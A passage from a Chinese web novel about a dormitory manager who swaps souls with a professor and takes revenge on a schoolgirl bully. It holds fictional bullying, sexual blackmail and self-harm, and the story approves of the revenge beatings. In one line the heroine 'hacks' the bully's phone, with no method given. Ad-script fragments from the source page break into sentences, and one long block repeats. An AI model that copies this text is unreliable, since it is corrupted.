在三环外,一套二十几平的一居室,记在陈雅恬名下。 她和陈丽华两人是轮休的,昨天和今天陈丽华都休息,她因为外面有住处,休息时偶尔才住宿舍,一般是不住的。 而原主,外面没住的,也没有亲朋好友,休息没休息于她好像没差。 体验了一天宿管阿姨的工作,白幺幺真心觉得还不赖,很新奇的工作体验。 隔天早上,重复了一遍昨天的流程。 九点多的时候,白幺幺出了学校一趟,采买点东西。 为了能在这座城市安家,有个小窝,原主平日里真的很节俭。 在如今大家普遍都是用智能手机的年代,她一个三十出头的姑娘用的却是那种一两百块的老年手机。 白幺幺不仅买了新手机,还买了一台高配置的笔记本电脑。 既然要让陈雅恬受到惩罚,单单只是以暴制暴肯定还不够的。 肉痛只是疼一段时间,会好的。 但是陈雅恬对很多人造成的伤害,却是一辈子无法磨灭的。 白幺幺记得剧情中,有个受陈雅恬迫害程度仅次于原主的,或者说高于原主的。 原主被陈雅恬霸凌得最后想不开,而那个人其实被霸凌得次数和程度比原主的还过分。 这孩子虽没自杀,但有抑郁自残倾 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 向。 孩子很懂事,家里有对年迈的爷奶,还有个聋哑父亲,妈妈在生她时就去世了。 要不怎么说陈雅恬有点小聪明,不是没头脑鲁莽的,可她的小聪明偏偏不用在正道上。 这个孩子是陈雅恬霸凌过的学生中,唯一个成绩好的,一直都是年级前十。 就因为这孩子和曾明凯是同桌,两人平时不可避免的有比较多的交流,陈雅恬又不知从哪里知道这孩子家里的情况,这给足了她欺负人的底气。 她不仅放学后好几次把人堵在路上进行霸凌,最过分的一次,还扒光了人衣服,拍下照片和视频做威胁 ,让人不许再和曾明凯说话。 至于为什么不让人干脆换个座位,不要和曾明凯坐。 很简单啊,曾明凯身边总要有个同桌,谁知道后面换的是男是女。 如果换个成绩好,家世又还行的女同学,那可就不是陈雅恬说欺负就欺负的主了。 剧情最后,这孩子成了一名优秀的律师,却终身未婚。 剧情中有这样一幕,陈雅恬和唐文译的世纪婚礼被现场记者实时转播,投放在唐家投资的商场外墙荧幕上。 这孩子当时已经毕业,在一家律所实习,在去律所的公交车上,虽只是快速一瞥,她认出了荧幕上的陈雅恬。 有些回忆再次被勾起,已经有两年没自残的她,当晚回去又自残了。 白幺幺在想,一句“孩子还小,年少不懂事”真的能抵消或者让人原谅这孩子犯的所有错吗? 提着大包小包回到宿舍,白幺幺坐下来喝杯水,就打开电脑开始捣鼓。 上个世界,她虽沉迷演戏,但大学课程还是有认真修完的,平时有时间的话,也会继续钻研计算机技术。 在键盘上敲敲打打好一会儿,白幺幺成功入侵陈雅恬的手机,找到那孩子被拍下的照片和视频,直接将其彻底删除。 同时,她还在陈雅恬手机上看了很多有趣的东西,一并拷贝下来。 瞄了眼屏幕右下角的时间,白幺幺活动了下脖子,将电脑收起来。 嘿嘿! 晚上就又要灵魂互换了,她肯定要去好好准备下的。 当男人到底是什么感觉,第一次时间太短了,让她都没啥体验感。 第69章 禁欲教授与被霸凌小可怜的反转人生(08) 把笔记本电脑以及新买的手机收到柜子里锁起来,没办法,她在这个学校工作十几年了,平时是什么性格,都不用怎么查,稍微问下就知道。 目前,白幺幺还想在沈之牧面前维持下原主人设。 然后,白幺幺又将宿舍简单收拾了下。 之后对着镜子开始倒腾起她那张脸,好吧,主要是伺候她脸上的伤。 男人么,大多活得比较糙。 到时沈之牧接手这具身体,要是直接放任脸上的伤让它自己好怎么办? 难道她要对着人千叮咛万嘱咐,一定要好好对她身体,不是,好好对她的脸。 女人的脸和男人是不一样的,必须精细的伺候着,知道吗。 那真的是一点都不符合原主的性格。 毕竟灵魂互换这种不科学的离奇事情都发生在两人身上了,如果她的性格再突然大变,沈之牧是不是该大胆的怀疑她不是原主了。 想到昨天早上在宿舍楼下遇到沈之牧的那一幕,白幺幺心中生出恶趣味来。 她想啊。 沈之牧晚上穿过来时,她如果正在浴室里洗澡,光想象那画面就超级有趣有木有。 那种情况下,清冷贵气,有点不食人间烟火气的沈教授是要先闭眼睛呢,还是先闭眼睛。 白幺幺越想越觉得可行。 没办法,第一次灵魂交换,这具身体太不争气了,不说给沈教授留下深刻印象,竟然连一点点印象都没给留下。 这第二次灵魂交换,不得整个大的,让沈教授终身难忘! 白幺幺忍不住低低坏笑出声。 这时敲门声响起,白幺幺收起笑意。 “谁呀?” 她以为是学生,不过不是,陈丽华的声音在门外响起。 “是我。” 白幺幺纳闷了,这人来干嘛?她不禁开始反省,是不是把人打轻了。 白幺幺开门看到门外站着的两人,一时颇为无语。 别人是打了小的来了老的,她这是打了老的来了小的。 本来她没想着那么早收拾这小的,不过既然送上门来了,那就先讨点利息吧! 她脸上的巴掌印现在碰下还会痛了。 开了门,白幺幺先转身回屋。 陈丽华和陈雅恬彼此对视一眼,也跟着一前一后进屋。 先进屋的陈雅恬走过去将房间的窗户关上,窗帘也拉上。 随后进屋的陈丽华则是将门关上,姑侄俩想做什么不言而喻了。 那晚回去,陈丽华全身那个不舒服哟。 半夜实在忍不住了,才叫车去医院,一通检查下来,除了脸上两个巴掌印明晃晃的,其他的根本检查不出什么。 陈丽华那是越想越气,越气越想。 她心中各种的琢磨,最后还让她琢磨出了点东西来。 白幺幺既然有这等手段,之前恬恬打她时,她怎么不反抗,任由恬恬作践打骂。 是不是恬恬手上抓着她什么把柄。 陈丽华忙打电话给陈雅恬,可惜她注定失望,陈雅恬也说不出个所以然来。 但是听说陈丽华被白幺幺打了,她那火爆脾气当即爆发。 也就有了今晚姑侄俩找上门来画面。 陈雅恬拉上窗帘,转身后第一时间抬脚对着右前方的凳子踢去。 椅子哐当一声倒地。 “骚婊子,你在找死是不是,竟然敢打我姑。” 踢完椅子,骂完人,接着当然是直接上巴掌。 可是现在的白幺幺可不是原主,怎么可能让陈雅恬打到,擒住对方的手,反手就是一巴掌过去。 和陈丽华被打时一样,或者说陈雅恬脸上的表情比陈丽华还精彩。 已经做好看戏准备的陈丽华:“……” 恬恬也被打了?! ……所以,白幺幺早干嘛去了,之前竟然都能忍下来不还手。 白幺幺绝对不是个厚此薄彼的,陈丽华这个姑姑“享受”过的待遇,她立马也给陈雅恬安排上。 主打一个,姑侄俩都要雨露均沾。 看着白幺幺打人的疯劲,陈丽华身体又开始隐隐作痛了。 她就缩着脖站在原地,看着亲亲侄女被白幺幺打,根本不敢上前。 至于报警? 开什么玩笑。 之前她被打时,想着不报警,是觉得总体算下来她不吃亏。 毕竟她才被打一次,白幺幺不知道被恬恬修理过几次。 再者,也是担心报警会影响到恬恬的名声。 可是跑了一趟医院,陈丽华就明白了,就算报警也没用。 现在的白幺幺变得有点邪门,明明把她打得全身哪哪都痛,可是去医院全身检查下来,愣是查不出任何外伤,更别说内伤呢。 悔啊! 陈丽华此刻是那叫一个后悔。 她真的不该抱着侥幸心理让恬恬过来试试的。 这世道,穷的怕横的,横的怕愣的,愣的怕不要命的。 大前天晚上,她果然没猜错,白幺幺是动了死的心思。 只是为什么没死成,应该不是真的怕死,当然这已经不重要了。 重要的是, 一个连死都不怕的人,疯起来怎么如此可怕。 陈丽华心里蓦地惊慌起来,她们和白幺幺可不一样,白幺幺自己贱命不活了,是她的事。 可是,如果白幺幺不甘心自己死,想拉着她们姑侄俩当垫背,那可万万不行。 “白……白幺幺,你快住手,我今天是带着恬恬过来和你道歉的。” 陈丽 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 华一脸提防警惕的走过去,可能危及到生命的时候,似乎其他一切都能先被放到一边。 白幺幺:“?!!” 当她没长脑子,这种话谁信谁傻子。 教训够了,也教训爽了,白幺幺才将人往陈丽华身上甩去。 陈丽华没反应过来,两人撞在一起,纷纷摔到地上。 陈丽华吃痛的发出哎呦一声,陈雅恬吃痛的眯起眼睛,她也想发声,可惜嘴还被堵着了。 眼睛扫过墙上挂着的时钟,还有几分钟就八点了,剧情中第二次灵魂互换是发生在今晚八点。 白幺幺想也不想开始赶人,被姑侄俩这么一耽误,她之前的想法就没办法付诸实践了。 还真是挺遗憾的。 陈雅恬一路上是被陈丽华搀扶着离开的,由于是夜晚,两人也是要脸面的,全程低着头走,倒是没让人看出什么异样的。 等两人离开后,白幺幺重新将门关上。 走过去把被陈雅恬踢倒的凳子扶起来放回原处,她才来到床上侧靠躺着,像是坐在床上突然晕倒下来模样。 白幺幺没想到的是她这边来不及给沈教授整那个大惊喜,沈教授那边却给她整了个大惊吓。 一个连死都不怕的人,疯起来怎么如此可怕。 陈丽华心里蓦地惊慌起来,她们和白幺幺可不一样,白幺幺自己贱命不活了,是她的事。 可是,如果白幺幺不甘心自己死,想拉着她们姑侄俩当垫背,那可万万不行。 “白……白幺幺,你快住手,我今天是带着恬恬过来和你道歉的。” 陈丽华一脸提防警惕的走过去,可能危及到生命的时候,似乎其他一切都能先被放到一边。 白幺幺:“?!!” 当她没长脑子,这种话谁信谁傻子。 教训够了,也教训爽了,白幺幺才将人往陈丽华身上甩去。 陈丽华没反应过来,两人撞在一起,纷纷摔到地上。 陈丽华吃痛的发出哎呦一声,陈雅恬吃痛的眯起眼睛,她也想发声,可惜嘴还被堵着了。 眼睛扫过墙上挂着的时钟,还有几分钟就八点了,剧情中第二次灵魂互换是发生在今晚八点。 白幺幺想也不想开始赶人,被姑侄俩这么一耽误,她之前的想法就没办法付诸实践了。 还真是挺遗憾的。 陈雅恬一路上是被陈丽华搀扶着离开的,由于是夜晚,两人也是要脸面的,全程低着头走,倒是没让人看出什么异样的。 等两人离开后,白幺幺重新将门关上。 走过去把被陈雅恬踢倒的凳子扶起来放回原处,她才来到床上侧靠躺着,像是坐在床上突然晕倒下来模样。 白幺幺没想到的是她这边来不及给沈教授整那个大惊喜,沈教授那边却给她整了个大惊吓。 第70章 禁欲教授与被霸凌小可怜的反转人生(09) 八点一到,熟悉的晕眩感袭来,等白幺幺再次恢复意识时,身处的环境已经变了。 只是,好像有那么一点点不对劲是闹哪样。 白幺幺:“???” …… “咳……咳咳……咳咳咳” 白幺幺扑腾的从水里冒出头来,双臂撑在浴缸边缘,好一阵猛咳。 剧情里怎么没说第二次灵魂互换时,沈教授这边正在泡澡!!! 害她差点……就喝了某人的洗澡水…… 还有,要是灵魂进入这具身体,意识没立马恢复清醒,这人不是要嘎了。 停下咳嗽,气息喘匀后,白幺幺心有余悸的伸手拍拍胸脯。 剧情中,两人灵魂互换的情况前期很没规律,等到第五次互换,才慢慢形成三天一换的规律,时间还固定在晚上零点。 而两人的这场灵魂互换足足持续了三个月,开始得莫名其妙,期间两人是尝试多种方法,都没办法结束。 等两人似乎认命放弃了,这场不能用科学解释的灵魂互换有一天就突然自己结束了。 白幺幺从浴缸里站起来,带起一阵哗啦的水声。 她已经是个阅历丰富的白幺幺了,害羞是不可能害羞的。 淡定,淡定。 看看当然还是要看看的。 就问这种时候,不看的人能有几个?能有几个?! 最烦那种明明想看的要死,却还要假惺惺的捂着眼睛,从指缝里偷偷看的。 旁边有观众还说的过去,可现在浴室里不是没个观众吗。 来到镜子前,白幺幺眼神那叫一个清澈无波,脸也不红,心也不跳的。 啊喂,对,说的就是你们,一个个都在想啥呢? 她不过是在提前享受下福利,真不值得大惊小怪的。 不过挺意外的。 没想到平时清冷矜贵,总是一副熨得笔挺衬衣西裤打扮,扣子还总是一丝不苟的扣到最上面那颗,周身都透着股不容亵渎的禁欲气息的沈教授如此有料。 白幺幺满意的啧啧两声,才拿起旁边浴袍慢条斯理穿起来,期间少不了伸手摸上两把男人的胸肌。 不得不说,同样的动作,作为女人时做和作为男人时感觉是完全不一样的。 第二次来到这间卧室,白幺幺巡视领地般的走走瞧瞧。 卧室外她就先不出去了,男孩子在外也要保护好自己的,这点沈之牧就做得很好。 两三百平的房子,除了卧室和浴室,其他地方都装了摄像头。 白幺幺这边一派的怡然自得,沈教授那边就是相反的画面了。 不甚明亮的白织灯光打在脸上,沈之牧眼皮狠狠抽动了下,眼睛骤然睁开。 这一次他不是在睡觉的时候灵魂穿过来的,更不是在泡澡时睡着了,意识模糊时穿过来的。 他很清醒,泡着澡时,脑袋突然毫无预兆的一阵晕眩,人下一秒就意识全无。 胸口又是那种熟悉的感觉传来,这次沈之牧没急着伸手去摸。 他先坐起来,眸光沉静却不失锐利的打量起所处的环境来。 简单扫视一圈,很普通的一间职工宿舍,房间里陈列的家具也很简单。 他起身下床,胸前重量让他微微感觉到不适,面上仍旧是一派淡然。 起身时不经意扫到自己的手,脸上表情终于有了些微变化。 似乎是急于想确认什么,沈之牧脚步生风的往浴室走去。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 房间里的浴室很小,很简陋。 放往常进到这种地方,沈之牧起码会微不可察的挑下眉。 可是此时此刻,沈之牧只想快点照到镜子,抱着一种不死心的心态。 …… 盯着镜子中陌生女人的脸,沈之牧眉心蹙紧了,心绪更是纷乱。 又是梦? 总不能他真被绑架了。 那绑架他的人还真厉害,还能直接给他换副身体。 即使很不想承认,沈之牧隐隐猜出了这绝对不是梦那么简单。 还有,等等。 眼睛。 这双眼睛莫名有种熟悉感。 沈之牧很快回想起来了,前天早上在学校宿舍楼前撞到他的女人。 女人离开时又转头看了他一眼,那个眼神再次在沈之牧脑中呈现。 黑眸渐渐眯起,沈之牧面无表情的走出浴室。 如果不去细看他不似平时从容的走姿,还以为他此时心里和表情一样,无动于衷了。 沈之牧可没白幺幺那么多顾忌,他走过去宿舍的门。 一路走到宿舍楼外面,遇到好几个学生似是在和……他打招呼。 他绷着脸,第一次很没礼貌的没有做出任何回应。 只因为这几个学生称呼他…白阿姨…… 沈教授不上课时,走在校园里都是一副清冷寡言的样子,但有学生和他打招呼时,出于礼貌,他还是会轻点下头回应的。 此时沈之牧的脑中十分清醒,户外的风吹来,让他没办法继续自欺欺人。 脸色沉沉地疾走回醒来的那间宿舍,一进到宿舍,沈之牧目标明确走过去拿起桌上的手机。 他有想过直接回 第71章 禁欲教授与被霸凌小可怜的反转人生(10) “你……” 沈之牧难得有张口却不知道要说什么的时候。 白幺幺抢先又道:“沈……沈教授,你放心,我是闭着眼穿浴袍的,我什么都没有看到,真的!” 没看到人,光听声音都知道对面的人此时表情要多真诚有多真诚。 沈之牧:“……” 他暂时没有……想关心这个。 他轻轻嗯了声。 “你知道我们现在是什么情况吗?” 沈之牧不是那种喜欢自以为是的人,他决定先听听另一个当事人的看法。 “什么情况?” 靠躺在柔软床上,白幺幺抬手虚掩着嘴,无声的打了个哈欠。。 两人还挺有默契的,都没有把手机拿手上,而是开了免提放桌上。 白幺幺这边环境安全,根本不用怕两人通话内容被人偷听去。 至于沈之牧这边,门窗都关着,除非有人真贴着门想偷听。 再说了,除了两个当事人,其他人就算听到了啥,就说敢信吗? 白幺幺像是纠结犹豫了好久,才语气忐忑的说:“我这两天上网查了很多资料,像我们俩这种情况应该叫做灵魂互换……” “等等。” 沈之牧一下子捕捉到了对方话中“这两天”这个关键词。 他语气加重了几分,有点像警察在审问嫌疑犯似的。 “你为什么这两天要开始查这个?” 沈之牧皱眉,他想起了那个十分真实的梦,心中已经有了答案。 白幺幺咬着唇,小声道:“就是,就是我们已经不是第一次灵魂互换了,不过昨天早上碰见你,我发现你好像完全没印象。” 因为他久久没回应,电话那头的声音带上点担忧着急。 “沈教授,你还在吗?” “也不知道我们这次要多久才能换回去,要是晚上都换不回去,怎么办,等下我还要查寝了。” 沈之牧:“……” 第一次体验到头大的感觉。 如此离奇的事,就算是沈之牧一时也想不出个两全之策来。 “车钥匙在玄关的第一个抽屉,你现在开车来学校,我们见面谈。” 让人过来,和他过去,沈之牧选择前者。 尽管现在这副身体里的灵魂是他,可改变不了是女人的事实,大晚上的让一个女人跑到异性住所,对人的名声不好。 至于为什么不选择约在外面某个地方,而是选择学校,沈之牧是出于想让对方安心。 对面很安静,久久没听到动静,沈之牧问,“你不想过来学校?那我们在外面约个地方见面。” “不是,就是我不会开车。” 白幺幺语气羞赧极了,她试着征询意见道:“我打车过去行吗?” “行,路上注意安全。” 就在沈之牧要结束通话时,对面又说话了。 “那个,沈教授,我没钱,能找你借点钱打车吗?” 白幺幺躺在床上,翘着二郎腿,浴袍松松垮垮的,尽显男人豪放本色。 沈之牧平静的声音响起,“玄关第二个抽屉,里面有钱,你自己拿。” “好的。” 就在沈之牧潜意识里觉得这次通话到这里应该可以结束了时,白幺幺同志给他上重头戏来了。 “那……那个……我还有…问…问题……” 沈之牧:“……” 对方吞吞吐吐的样子 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,让他有种想按压太阳穴的冲动。 他问道:“什么问题?” 白幺幺扯了扯身上的浴袍,掐着嗓子,力求对方一听,脑中就能脑补出她此时羞答答,脸红的能滴出血的样子来。 “我,我是要直接穿着浴袍出门吗?还是要换下衣服,可是要怎么换?换衣服的时候,要是不……不小心碰……碰到不该碰的地方怎么办?” 白幺幺同志心里那个恶趣味呀,似乎不把沈教授玩坏,就不罢休。 她小嘴继续叭叭道:“沈教授,你放心,我从浴缸里起来就马上闭着眼睛去裹上浴袍,没……没穿里面那件,所以肯定没有碰到啥不该碰的。” 沈之牧:“……” 从小到大的涵养让他并没有出声打断,让对方别说了,反而是平心静气的听完对方的话。 他知道这种情况,对方极力想要对他解释这些,不过是对方的性格使然。 只是,他最终还是没忍住伸手压了压太阳穴。 他想说,没事的,你换身衣服再出来。 可是话卡在喉间,就是吐不出来。 至于让人直接穿着浴袍,里面还是真空的,就跑出来。 光想象下那个画面,沈之牧脸上的表情终于有点维持不住,嘴角狠抽了下。 咦,怎么没声音了? 白幺幺捂嘴无声偷笑了下,心里想不会这就把人玩坏了吧! “沈教授,你还在吗?” 沈之牧又是轻轻“嗯”了声。 白幺幺小心翼翼的问道:“你应该…也没…碰我的身体吧?!” 话问出口后,白幺幺像是反应过来自己说错话了,立马改口。 “对不起,沈教授,我不会说话,你 第72章 禁欲教授与被霸凌小可怜的反转人生(11) 白幺幺从桌子上抬起头来,伸手在额头上揉了揉。 不用看,肯定磕红了。 桌子抽屉里有镜子,她打开抽屉拿出来照一照,何止是红了,还肿了。 呜呜,她这命途多舛的脸啊! 旧伤未愈,又添新伤。 眼睛不经意瞥到桌上的手机,白幺幺微愣了下。 好像,貌似没挂断,还在通话中。 “沈……沈教授,你还在吗?” 沈之牧从床上坐起来,依旧是简单的回了个“嗯”。 白幺幺有点紧张,像是在解释,又似是在邀功的说:“沈教授,我不知道咱们什么时候会换回来,担心还像第一次那样快就换回来,所以就先坐到你床上,以防突然要换回来时,来不及的反应,把你给摔出好歹来,就不好了。” 像是猛然想到什么,白幺幺轻咳了声,后怕的说道:“沈教授,这突然灵魂互换的,你又刚好在泡澡,我恢复意识的时候,你整个头都沉到浴缸里了,要是我再晚点恢复意识,你……” “对了,沈教授,你应该不介意我不经你同意就爬上你的床吧?!” 沈之牧:“……” 他的身体上他的床,他有什么好介意的。 只是,沈之牧很快反应过来,语带歉意道:“抱歉,是我考虑不周了,你那边恢复意识后,有没有发现哪里磕碰受伤了。” 不错,挺上道的。 白幺幺满意的勾唇浅笑。 白幺幺揉着额头,一副大大咧咧的不怎么在意的语气。 “没事的,就是额头轻轻磕到了下,连药都不用涂,应该睡上一觉就好了,沈教授你千万别放心上。” 沈之牧沉默了一瞬,“明早我过去找你,咱们谈谈,顺便给你带药过去。” 白幺幺有点受宠若惊的推拒道:“不用,真的不用了,沈教授不用给我带药,我没那么娇气的,平时磕磕碰碰的也从不抹药,放任几天它自己就好了。” 白幺幺说的是原主,唉,真真是个傻姑娘。 至于她自己,呵呵,没条件就自己创造条件,有现成的条件,当然是怎么娇气怎么来。 沈之牧又沉默了,他真的不擅长与人就这种小事掰扯。 药他明天肯定是会带去的,至于人用不用,这他就管不着了。 “你不是还有工作?” 两人现在算是最“熟悉”的陌生人,除了关于灵魂互换这件事有共同语言,也没其他可以聊的,而且两人也没有到可以闲聊的关系。 沈之牧此刻想找个地方安静的待着,理理思绪。 “啊,哦,对对。” 白幺幺像是经他这么一提醒才想起来,“我晚上还有查寝的工作。” “沈教授,没其他事,我这边就先挂电话了?” “嗯。” 沈之牧捏了捏眉心,等白幺幺这边挂断电话后,才起身下床进入浴室。 再出来时,他下半身裹着浴巾,健硕的胸膛上还挂着水珠,只是身后未关上门的浴室里并没有氤氲着水汽,显然他刚刚冲的是冷水澡。 这一晚,沈之牧根本不可能休息好。 不过他以往像个老干部,作息规律,几天没休息好,面容倒是不显憔悴,依旧还是那个迷人的沈教授。 白幺幺同志依旧是一夜好梦,吃早餐的时候还比昨天多喝了一碗皮蛋瘦肉粥。 沈之牧早上没课,下午满课,出发来学校前他提前一个多小时给白幺幺发信息。 当时白幺幺正在去学校食堂买早餐的路上,就简单回复了个好。 两人约在学校外面的一家挺有特色情调的咖啡馆,时间则是定在九点。 白幺幺并没有特意打扮自己,而是继续维持原主以往的穿衣打扮风格。 毕竟吧,她和沈教授来日方长,真的不急于一时。 而且有些时候,要的就是反差感,最后得到的那种视觉冲击甚至一辈子难忘。 白幺幺是提前十分钟到达约定咖啡馆的,沈之牧比她还早到,已经在里面等她了。 这家咖啡馆的老板资本雄厚,直接拿整栋别墅来做咖啡馆,别墅不是租的,而是自有产业。 沈之牧提前订了包间,毕竟他们要谈的内容需要一个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 私密性好点的安静环境。 进门时,白幺幺演技上线,将第一次来这种场所的神态表情动作都拿捏得很好。 坐下后,就一直低着头,拘谨的绞着手,不敢去看对面的沈之牧。 原本就是两个不同世界的人,如果没发生如此离奇的事,两个人的人生就如同两条平行线,即使靠得再近,也永远不可能相交。 难道不是吗? 两人都在一个学校工作,这靠得还不近。 沈之牧在白幺幺进门时就发现她戴着口罩,坐下后也一直没将口罩拿下来。 这时他才恍然回忆起昨天镜子里看到女人的脸,昨晚看到时仿佛刻意忽略了很多细节,现在回忆起来反而各种细节渐渐清晰起来。 很白很嫩的一张脸,未施粉黛,眼睛很大,唇形饱满红润,只是脸上有些浅淡的红痕,和几处小小的血痂。 两人的关系不足以让沈之牧冒昧问对 方脸上是怎么回事,他也不是那种爱八卦的人。 包厢里很安静,两人相对无言,有点尴尬。 现在似乎不是展现绅士风度,女士优先的时候。 沈之牧出声打破这份安静,“不知道你喜欢喝什么,所以我还没点单,看看,你想喝什么?” “啊?” 白幺幺局促不安的抬头,黑亮的大眼睛里盛满了迷茫。 显然她刚刚走神了,没有听清沈之牧说了什么。 沈之牧也不甚在意,又将刚刚的话重复一遍。 白幺幺摇了摇头,小声道:“我不习惯喝咖啡,给我来杯温开水就好。” 原主二十几岁时曾抱着尝鲜的心态买过速溶咖啡,或许是生活的苦尝多了,她怎么都喝不来咖啡。 当时她为了不浪费,她即使不喜欢,还是把买来速溶咖啡都泡光喝完,也因此彻底不喜欢上咖啡这味。 至于白幺幺,她喝得来这玩意就是了,只不过也不爱喝。 比起咖啡,她更喜欢喝茶,而且她泡茶的手艺可好了,是跟老宗主学的,得了她的真传。 白幺幺敛下眸子,遮掩住某种情绪。 第73章 禁欲教授与被霸凌小可怜的反转人生(12) 沈之牧并没有察觉到白幺幺稍瞬即逝的情绪波动,当然就算察觉到了,他也不会去深究,毕竟两人在昨晚之前可以说是还不认识。 点完单,包间里再次陷入安静中。 指腹无声的敲击着桌面,沈之牧在斟酌用词。 白幺幺则继续低着头当鹌鹑,第一次和男人一起待在封闭的空间里,还是像沈教授这样的男人,呼吸都有点窒息感。 服务员很快将他们点的东西送进来。 似是想缓解自己的紧张,白幺幺端起温开水,迟疑了下,拉下口罩,小口小口的喝起来。 等白幺幺小半杯水都快喝完了,包间里响起沈之牧的声音,低低的充满磁性,比昨晚在电话里听到还好听。 “我们先自我介绍下。” 考虑到之后还可能发生灵魂互换的情况,两人现在算是……另类的合作伙伴,或者说战友。 互相先认识下,是很有必要的。 白幺幺双手捧着水杯,微愣下,显然没想到沈之牧会忽的出声。 不过这回他说了什么,她是听清了的。 “好的。” 白幺幺下意识的像个小学生似的挺直脊背,表情认真,眼神真挚专注的一板一眼自我介绍起来。 “我叫白幺幺,今年三十三岁,身高一百六十六点五厘米,体重约一百零二斤,初中学历,来咱们学校上班后,又自学到了专科学历,家里就剩我一个,已经没有亲人在了,目前在咱们学校当宿管,工资……” 就在白幺幺准备自曝工资时,沈之牧轻咳一声打断,“那个白……白同志,咱们只需要互相简单介绍下名字就行,不需要说那么详细。” 白幺幺呐呐的“哦”了声,反射弧有点慢,又等了两秒才反应过来自己似乎干了件蠢事,脸颊倏地绯红一片。 沈之牧随即也简单做了下自我介绍,他介绍那是真的简单,也就名字年龄工作,学校里的师生都知道的基本信息。 双方算是简单初步认识了下,接着沈之牧开始直入主题。 “白同志,在我们第一次灵魂互换前,你有没有接触过什么奇怪的人,或者是遇到过什么奇怪的事?” “这?” 白幺幺手支着下巴垂眸认真回忆起来。 包间里一旦没人说话,就安静得很。 沈之牧端起咖啡喝了一口,他问白幺幺的这个问题,同样也在自己身上找过答案。 约莫过了两分钟,白幺幺像是课上被老师叫起来回答问题却答不出来的学生,低了低头。 “对不起,沈教授,我想了一圈,我没遇到过什么奇怪的人,更没有遇到过什么奇怪的事。” 答案在预料之中的,可沈之牧难免还是有些许的失望。 “对了,你的生辰八字报给我下。” 科学无法解释,或许可以尝试下玄学,这是他昨晚想到的另一个方法。 “啊,哦,好的。” 白幺幺没问为什么要她的生辰八字,想也不想就给了。 沈之牧拿出手机当场给通讯录上的一个人发过去,这人是圈子里有名的大师,他们家就请人来看过风水,更甚者他出生时这位大师还给他批过命。 事情他已经先和大师讲过,现在将白幺幺的生辰八字发过去,只等大师那边算算他们两人之间是否有什么渊源。 对于迷信玄学,沈之牧一直保持中立态度,只是现在灵魂互换这种事情都在他身上发生了。 有些东西你信与不信重要吗? 能解决问题才是最关键,最重要的。 等待过程中,沈之牧没再说话。 白幺幺更是拘谨,哪里好意思没话找话说,平白惹人烦。 杯子的温水已经被她喝完,口罩也被重新拉上。 人太无聊,胆子似乎因此变大了些,白幺幺时不时会往对面偷瞄上一眼的。 她的掩饰太拙劣了,每次偷偷看完人,长睫总是要扑闪两下,沈之牧想不注意到都难。 “你为什么一直戴着口罩?不闷吗?” 问题脱口而出,沈之牧自己都愣住了,不过很快就坦然了,他不是会过分纠结自己言行的人。 白幺幺:……故意的吧,一定是故意问的! 她羞赧的垂了垂眼睫,“就……就 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是脸上有伤,难看,戴着口罩遮一遮。” “怎么弄的?” 微不可察的皱了皱眉,沈之牧语气中带着几分连他自己都没察觉到的愠怒和关心。 白幺幺:……她的黑历史啊! 白幺幺的手不知什么时候握住了空杯子,手上力道渐渐加大,有种想徒手将杯子握碎的即视感。 沈之牧知道自己的问题唐突了,刚想说不方便说的话,那就不说,没事的。 只是他话还没说出口,女人闷闷中透着点委屈的声音响起。 “就是和同事闹了点小矛盾。” 黑亮的眼睛不知不觉蒙上了一层水雾,白幺幺却很努力的在压制,不让它凝结成滴。 简短的回答,沈之牧自动翻译了下。 这是被同事欺负了? 短短接触下来,沈之牧不得不承认,眼前人的性子瞧着的确很好欺负的 样子。 他没继续追问是什么矛盾,毕竟有点不妥。 只不过看来回去后是该让人去查一下,毕竟他们还有下一次灵魂互换的可能,他向来不打无把握的仗。 沈之牧回了个“嗯”,话题到这里终结。 白幺幺犹豫了很久,还是抬眸真挚的看向沈之牧,“刚刚,沈教授,谢谢你的关心。” 沈之牧也是这时才发现对面的女人眼眶微微泛红。 ……这是感动呢?仅仅是因为他的一句不似关心的话! 下意识的,他想起了一开始的自我介绍,对方好像说她家里…… 无依无靠自己一个人,还被同事欺负……瞧着有点小可怜。 等等! 沈之牧忽的把手搁在桌面上,上半身向前倾,眼眸微眯了下,眸光锐利的逼视着她。 白幺幺被他突然的动作吓到了,身体本能的后缩,眼睛不受控的轻眨两下,眼里满是困惑,唯独没有害怕。 困惑沈之牧这是怎么了,却不怕对方会对她怎么样。 毕竟他可是沈教授。 沈之牧是谁,读懂了她眼神。 只是有些问题,该问的还是要问。 第74章 禁欲教授与被霸凌小可怜的反转人生(13) “告诉我,我们第一次灵魂互换时,你为什么在宿舍楼天台上?” 白幺幺心里的那张嘴已经长成o型了,妈妈呀,这个男人不会通过几点信息,就猜出原主当晚准备跳楼自杀的真相了吧。 白幺幺神色一僵,接着是有点慌,眼神难掩心虚的闪躲,不敢和沈之牧对视。 “我……我就是……睡…对”,白幺幺肯定的点了点头,“我就是睡不着,想上去吹吹风。” “睡不着?” 沈之牧的表情不加掩饰,脸上明晃晃的写着“不信”两个字。 白幺幺看懂了,却只能继续装傻充愣,“嗯,睡不着,屋里太闷了。” 沈之牧也不拐弯抹角了,“你那晚是不是想不开要……” 至于要干嘛,不需要说太白,彼此心里都懂。 “我不是,我没有,沈教授你为什么会有这样的想法,你真的误会了。” 白幺幺头摇得跟拨浪鼓似的,手也没闲着,连连摆着。 她的话和动作纯粹是在做无用功,沈之牧已经认定的事,又岂会因为她那蹩脚的谎言改变想法。 所以两人灵魂交换会不会与白幺幺的这行为有关? 这时沈之牧的手机响了,他刚刚发出去的信息有了回复。 对方问他方便讲电话吗? 沈之牧睨了对面的人一眼,回复可以。 他的信息刚发完,没一秒来电铃声就响了起来。 沈之牧并没有马上接起电话,而是目光直直的盯着白幺幺看。 